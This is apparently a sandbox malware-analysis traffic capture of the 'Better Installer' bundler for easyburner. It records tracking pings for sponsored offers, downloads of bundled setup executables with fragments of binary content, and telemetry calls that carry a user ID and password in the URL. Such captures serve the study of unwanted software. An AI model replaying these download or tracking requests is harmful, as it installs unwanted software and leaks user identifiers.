.....Z2=Y...>pc:..%..X.....a.......y.b..Z.).eR..... ...:..O.....cGo
n..w..R......>.".5.....#............W.@..?.[k..5?..g...S......*....
.N9VJ*8...p.b.!2..5.zwk..$....q...E..I.).$.. 4.G.;.....~.c]..".Si..:..
.d..;.5P..L.."{......u.....vL......yZ,....w.5`.;.)....2 D..r&f....
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8426500988603953 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:03 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.8449995742521975 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5472551417397524 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:12 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:12 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: clients1.google.com


HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Wed, 11 Feb 2015 17:20:35 GMT
Expires: Sun, 15 Feb 2015 17:20:35 GMT
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Age: 44012
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: public, max-age=345600
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
1130818Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.....A.......20150211130818Z....20150218130818Z0...*.H................
..(\....R...\.Uz..)..C/~...}....<..d4.y..o...,wCM.m....x..%........
.k...ED...ud.d..w>;..m....,....T..@pJ-t.'.. {...$(@x......S..D_....
.q..r..T....Aq........c..s...g..8.`%G.x3.GAS.9......k.yH.)U...c.n<.
[8[_*...%..g.,...{.mI8.Uuav...LlU.I...VN...M....D.UrHTTP/1.1 200 OK..C
ontent-Type: application/ocsp-response..Date: Wed, 11 Feb 2015 17:20:3
5 GMT..Expires: Sun, 15 Feb 2015 17:20:35 GMT..Server: ocsp_responder.
.Content-Length: 463..X-XSS-Protection: 1; mode=block..X-Frame-Options
: SAMEORIGIN..Age: 44012..Alternate-Protocol: 80:quic,p=0.02..Cache-Co
ntrol: public, max-age=345600..0..........0..... .....0......0...0....
..J......h.v....b..Z./..20150211130818Z0k0i0A0... ..........j.....p.I.
#z...(~d..J......h.v....b..Z./......A.......20150211130818Z....2015021
8130818Z0...*.H..................(\....R...\.Uz..)..C/~...}....<..d
4.y..o...,wCM.m....x..%.........k...ED...ud.d..w>;..m....,....T..@p
J-t.'.. {...$(@x......S..D_.....q..r..T....Aq........c..s...g..8.`%G.x
3.GAS.9......k.yH.)U...c.n<.[8[_*...%..g.,...{.mI8.Uuav...LlU.I...V
N...M....D.Ur..
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.2245044513063113 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:25 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /ajax/libs/jquery/1.7.1/jquery.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: ajax.googleapis.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Tue, 03 Feb 2015 12:34:29 GMT
Expires: Wed, 03 Feb 2016 12:34:29 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 33186
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 752376
Alternate-Protocol: 80:quic,p=0.02
.............~.F....?......!J......7.......Y...h....w.T*.".Y.Y...|.D..
 (g..;.....b=q.8......?.....w.....>.......g{s.....2...........e. WK
?VI.h....~.<n...fy6.....e.z...8.{.U......(.. .e.8....V...}.[..|../.
......j-.~'...Q.....%Q.KV...Ec....q.{...x........*..^...^Vn........&_.
..~.....o.Z..~..^....{?.S..&.w.W.|A...r......t.../V.,.Dt.Pf...&yYLv.U.
.....r.Q}.^']...*W.:H.........~_=.r..s.^..T..=l.]..)Vj.......^.ys...x.
..C_.h..&............`.^b<.^:_m1'Y....c.....e..1Oo....q...q.x......
o...........?..q:..;.>.whu.....=.... . P..i...I..E.!..f.&v(.......m
...r...w~.SW.......6p>...........,.........Lsj...L7..j.......y..'.F
..h44..SY.V.......i.mw...4Yi.H{'.._..].9?...}..Jn................5Q%m.
y.,v.5U.(.^..\-.R...?^m."...7e..vy...b...L..%....]..f...l5>...nw.rY
x..|8..V.......0F..|4....<.q....d.(~...h....p.......q1.......y..ZF.
p1..;.^..W.Y...(.....<x.F...iI.t..n..p.-......w.p:..I.\.:x\...H..T.
j...../i..h....3....Y..w.......5...:..n.....U...]B..`.ZQ..nE}.....L..`
..A..W....C.\'......e^./.j\[...6.v."..u...-..K.3Tb....24>,..hD.R..&
lt;.F..q5C..vR.iO)Z.(..&T..v.Z#.. [email protected]..
.=Q...RZ ..SIt.}.....J.me.....Yq`..5......5.....28L..~.-L.=...b)M'..Gd
.....1..,.:H...f.....h..T. Q...~.|%#%....y....7....L......"QU.y0H...&l
t;.s....n....I'Z............A........K...k..2...P._..1Z...B..4~.&..h.o
{.y..q.......Z..R...l......&.....>....P.......&.;W.3...L......@$...
,....Q..U1..hC1.$ .;ByWj.M..... B=1....s_....:HP...&.7.&..>7.(=....
.P.b8...Q..Nw,...E........t;.4..`..._ F.P.......t....hm..w...Q....
<<< skipped >>>


GET /download.php?msorder=5&smsorder=0&campaign=14782&tracker=2202 HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: app.easy-burner.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:06 GMT
Content-Type: octet-stream
Connection: keep-alive
Set-Cookie: softdown=1423719126364044; expires=Thu, 12-Feb-2015 05:37:06 GMT; path=/
Set-Cookie: install_cookie=14782,,; expires=Sat, 14-Mar-2015 05:32:06 GMT; path=/; domain=easy-burner.com
Content-Disposition: filename=easyburner-setup.exe
Content-Length: 1498064
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#
<<< skipped >>>


GET /pki/mscorp/crl/msitwww2.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: mscrl.microsoft.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=6533
Content-Type: application/pkix-crl
Date: Thu, 12 Feb 2015 05:35:02 GMT
Etag: "f3ebb69d2744d01:0"
Last-Modified: Mon, 09 Feb 2015 05:16:53 GMT
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Server: ECAcc (rtm/3541)
VTag: 791153316100000000
X-Cache: HIT
X-Powered-By: ASP.NET
Content-Length: 51739
0...0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0.
..U....Microsoft IT SSL SHA2..150209050638Z..150217052638Z0...02..Z...
.o1At:~..........140611053232Z0.0...U.......02..Z........7..w........1
40610132751Z0.0...U.......02..Z......nb..y.........140610132751Z0.0...
U.......02..Z..."S....2......."..140609213929Z0.0...U.......02..Z....W
y.l.!L.........140606155944Z0.0...U.......02..Z....,)."............140
604183121Z0.0...U.......02..Z......-. ..l........140604174925Z0.0...U.
......02..Z....$..x..q.........140604173444Z0.0...U.......02..Z.......
...K.........140603144730Z0.0...U.......02..Z.....t..As..........14060
3102811Z0.0...U.......02..Z.... ..b............140603080319Z0.0...U...
....02..Z.......H.r.D........140603013424Z0.0...U.......02..Z.....bM..
..G........140602100514Z0.0...U.......02..Z....._b!]...........1406020
60640Z0.0...U.......02..Z....:S..P.=.........140527234127Z0.0...U.....
..02..Z....(...G.8C........140527155451Z0.0...U.......02..Z....Zd. V..
.........140527155451Z0.0...U.......02..Z.........Ge!........140527155
[email protected].>[email protected]....
...02..Z...?...{T........?..140527155450Z0.0...U.......02..Z...>..z
..=.......>..140527155450Z0.0...U.......02..Z...;.,k..0R......;..14
0527155450Z0.0...U.......02..Z...:h..jg.E......:..140527155449Z0.0...U
.......02..Z...5$.A{.2.......5..140527155449Z0.0...U.......02..Z...4..
...D'Y.....4..140527155449Z0.0...U.......02..Z...2.a...........2..
<<< skipped >>>


GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.46785430618710005 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:35 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:33:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /crls/secureca.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.geotrust.com


HTTP/1.1 200 OK
Server: Apache
ETag: "a2b10889948fa70bd970aee2d6cf7c46:1423717222"
Last-Modified: Thu, 12 Feb 2015 05:00:22 GMT
Date: Thu, 12 Feb 2015 05:34:06 GMT
Content-Length: 856
Connection: keep-alive
Content-Type: application/pkix-crl
0..T0...0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equ
ifax Secure Certificate Authority..150212044300Z..150222044300Z0..<
0....X...140427081922Z0....v...140618150003Z0........140429180917Z0...
.....140709194633Z0........140416233935Z0........140521155053Z0.....).
.140617185515Z0....Bf..120627171053Z0.....3..020515130611Z0.....#..140
606204021Z0........100729164439Z0........140606222139Z0....%...0205141
81157Z0........140725020038Z0........100729164732Z0....M\..14043000044
2Z0.....-..140617185011Z0....uU..150118022133Z0....V...140624123102Z0.
.......120627171025Z0........100301134531Z0........140618143256Z0.....
...120627171017Z0.....>..140711125531Z0....[...100730213120Z0....j.
..140226123519Z0...*[email protected].}q.j..b.H...EP*....
.k5u..h'...[,6..e......=....!.A........B.8.~.H6.:.o......d..k..0..*-.P
..Rh...)...h?....e....HTTP/1.1 200 OK..Server: Apache..ETag: "a2b10889
948fa70bd970aee2d6cf7c46:1423717222"..Last-Modified: Thu, 12 Feb 2015 
05:00:22 GMT..Date: Thu, 12 Feb 2015 05:34:06 GMT..Content-Length: 856
..Connection: keep-alive..Content-Type: application/pkix-crl..0..T0...
0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equifax Sec
ure Certificate Authority..150212044300Z..150222044300Z0..<0....X..
.140427081922Z0....v...140618150003Z0........140429180917Z0........140
709194633Z0........140416233935Z0........140521155053Z0.....)..1406171
85515Z0....Bf..120627171053Z0.....3..020515130611Z0.....#..14060620402
1Z0........100729164439Z0........140606222139Z0....%...02051418115
<<< skipped >>>


GET /css?family=Abel HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: fonts.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/css
Timing-Allow-Origin: *
Expires: Thu, 12 Feb 2015 05:33:54 GMT
Date: Thu, 12 Feb 2015 05:33:54 GMT
Cache-Control: private, max-age=86400
Content-Length: 155
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alternate-Protocol: 80:quic,p=0.02
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Thu, 12 Feb 2015 05:33:54 GMT..Date: Thu, 12 Feb 20
15 05:33:54 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.02..@font-face {.  font-family: 'Abel';.  font-style: normal;. 
 font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT
2a1878zysq92S8_9w.eot);.}...



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321682-643364
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321683
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT
Accept-Ranges: bytes
ETag: "da4bdcc41345d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:01 GMT
Content-Range: bytes 321682-643364/1286728
X-Cache: Miss from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LzigNuGouV6gYlQyD0b88DN01tta2x2cC6P8pDsmdqZo-KktN2YqoQ==
......U.,.'@>_.kRds..:.....!.0..Bi..U...K.Z.}.^.{c....M9Y.....v/1L3
......l4....}u.mSA...7}u..f..Pz.v?p.27.(.=...iJ~...p...w..8.....F...u.
..E....G... z.....&.a....V&.'.F.....l..k..:z`.~.b.....h.......n\.e.^.M
>D ..za3.89u....$.(`...\...'`.t.....r........]x..?.....$u...s...9..
PS........,].G. H ./.L.=.U.....XXh.!~#.P......CC.e.7..P.'. 0."...\Ei\.
..>...I.......ZL..V......\;iO.S...p)..)...\q. a.*O?..#m.A...7s.mmX.
....g=I..].j._qa.........QIHu.{R>..D L}..-..|v.. ....L.w....P...]v.
......!.7^.........O[..X.L..a..P.......5....E.OL!YJ[.o.W!.....R.1..z..
%.b=...o....WI....Ee.....w.......s....7...../...i8.......zx..U.X~.%...
h.l).G.%...1.......C..........#H...J..&.y&......G..yZ...6..<...t*..
"....2h.zX.............X....O......v... ..g......oG....iX..^....Z..`|0
O.{.l...J.....U...Vy..z..Tq)...G.JQ..'.b......._V.g.........P[W6.c\c1.
\..H..x.Z.][email protected].,...'.Q05.c..: ~$O.ZiP....A......
.[...S....*..3.C...A..K. ..^.dK...n....'...........)0..F.R.e.."...^;ET
A...1.O..s.~8.g....Ci..m...qS..MI.=..B...'%.?.RsQ?..gs..........\.jYD.
HO.....E2;....@/[email protected]@."9..V1....2...mS(.C......Ia.w..L.cz4D..c3
y....).k.M...~b.. w.p8.....Z.:BG.....i...H.A.Wdb......V.I.C...5.G_....
..q.{z........b..2..R.{...j..%..O:e..(............N.q...W...j[..C.....
.a...p....o0MU.K.A.2.'[email protected] -...0M.v..\... ..
.....Z..m.{.....4{..t_mU.......i.m..=.Lj..l .).).[.o/e.v.I....&w..~.Z[
F...........'..$f..='D%.mXb.:....."..zzA......(q.r..W...N.....-^f.....
s...'..
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.20 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 12 Feb 201
5 05:33:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.20 ms","message":"store 1 act
ion and 0 update "}..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=364480-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 364480-583167/583168
Content-Length: 218688
Connection: keep-alive
6..a..L.......I..Y.....&.-U[.5.....t:w...5W..j.]bS.^...)..3`.......QK.
...1....8...A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K
5.._....}..~.'.....#..x6@..'J...x}.A....T^.y.....f. ...e1h.]..A...1..2
..K....t.`.mN..|..J.3.k..s......6.`.`3.]#^........!.6..-...g..W<..C
T()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.
}x....m..I....o^~.TMk..p..)8..... .....\/.kM....Z7.."..d"..P....].. ..
......K..u..:.....v.d........*..Zyr..:..vA@.{Ru.g......v.....:L..F..17
..!e*i.d.b.?<B9B\O.....U.#..^s..c/u......._k......%...%...B{".....&
lt;......''..'...?...N.....erW.`.........2.(U.e....9(.{,.\.....a^e.C`X
....*...6.%x.HF...z.i..F}?.3......rr\.....A..}.[..%..H.b...14..M..3...
[email protected]...,......
.........(..x......t)g..%.Fm.& ......U.:.........=..l4.......6........
=f/.o...k. bY..YL....$a8.".....));._...J.......'H'~.....x.[4..i.>Lw
e=Tx.V...K.......6...lK..O..!.W.w...q..$31m.....z@<y-<.........&
...N..s\4h.3.R..Y........F....Ze.KKv..........N..*1|K.\l.>.........
.I..........0k.U..q..!=.\...O.......N.gK..C.IPw.}E...2..4r...,kJ... .B
.]c.."....q.'.P.*[email protected]..&.X}...(.!.......T....tK..gc.0.a.&
lt;.J.....6c.)\.........b...o.'..A..k'.....M....?.!m..Y65........w..-.
......=.CO.`...RR..w.=.9G..{8]..j..MXJ<..OU....|...'......m,..e..o:
..............)".....V.......*....e..: ........i..iz|.U..8 U...f...,.&
...V...Cm.'.>/.9(..<k.B.'A,./...V?8z....3.E...H...[.....{.T...pg
..^9Ic..X5....N.....$W...N..".~..".6.p..T?.&o.66.ZS....Sy_...}.u,.
<<< skipped >>>


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1268
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:11 GMT
Connection: close
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1
153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153
-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&
